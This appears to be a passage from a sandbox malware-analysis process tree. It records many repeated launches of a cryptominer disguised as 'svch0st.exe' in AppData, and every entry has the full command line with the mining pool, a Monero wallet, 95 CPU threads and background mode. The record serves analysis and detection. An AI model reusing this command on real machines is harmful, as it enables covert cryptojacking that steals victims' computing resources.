        PID:20796
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        178⤵
        
        PID:20908
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        179⤵
        
        PID:20988
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        180⤵
        
        PID:21096
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        181⤵
        
        PID:21192
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        182⤵
        
        PID:21320
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        183⤵
        
        PID:21428
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        184⤵
        
        PID:20816
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        185⤵
        
        PID:21540
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        186⤵
        
        PID:21652
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        187⤵
        
        PID:21752
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        188⤵
        
        PID:21860
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        189⤵
        
        PID:21972
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        190⤵
        
        PID:22076
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        191⤵
        
        PID:22172
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        192⤵
        
        PID:22292
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        193⤵
        
        PID:22380
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        194⤵
        
        PID:22484
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        195⤵
        
        PID:22288
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        196⤵
        
        PID:22592
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        197⤵
        
        PID:22700
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        198⤵
        
        PID:22832
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        199⤵
        
        PID:22956
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        200⤵
        
        PID:23052
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        201⤵
        
        PID:23156
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        202⤵
        
        PID:23268
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        203⤵
        
        PID:23364
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        204⤵
        
        PID:23484
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        205⤵
        
        PID:22852
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        206⤵
        
        PID:23580
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        207⤵
        
        PID:23692
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        208⤵
        
        PID:23792
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        209⤵
        
        PID:23884
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        210⤵
        
        PID:23972
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        211⤵
        
        PID:24068
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        212⤵
        
        PID:24156
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        213⤵
        
        PID:24260
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        214⤵
        
        PID:24364
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        215⤵
        
        PID:24476
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        216⤵
        
        PID:24572
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        217⤵
        
        PID:24588
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        218⤵
        
        PID:24688
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        219⤵
        
        PID:24788
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        220⤵
        
        PID:24892
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        221⤵
        
        PID:24992
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        222⤵
        
        PID:25080
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        223⤵
        
        PID:25188
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        224⤵
        
        PID:25296
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        225⤵
        
        PID:25404
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        226⤵
        
        PID:25516
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        227⤵
        
        PID:24732
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        228⤵
        
        PID:25644
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        229⤵
        
        PID:25756
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        230⤵
        
        PID:25860
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        231⤵
        
        PID:25956
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        232⤵
        
        PID:26088
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        233⤵
        
        PID:26216
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        234⤵
        
        PID:26328
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        235⤵
        
        PID:26440
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        236⤵
        
        PID:26544
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        237⤵
        
        PID:26100
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        238⤵
        
        PID:26680
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        239⤵
        
        PID:26788
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        240⤵
        
        PID:26896
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        241⤵
        
        PID:27000
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        242⤵
        
        PID:27108
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        243⤵
        
        PID:27212
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
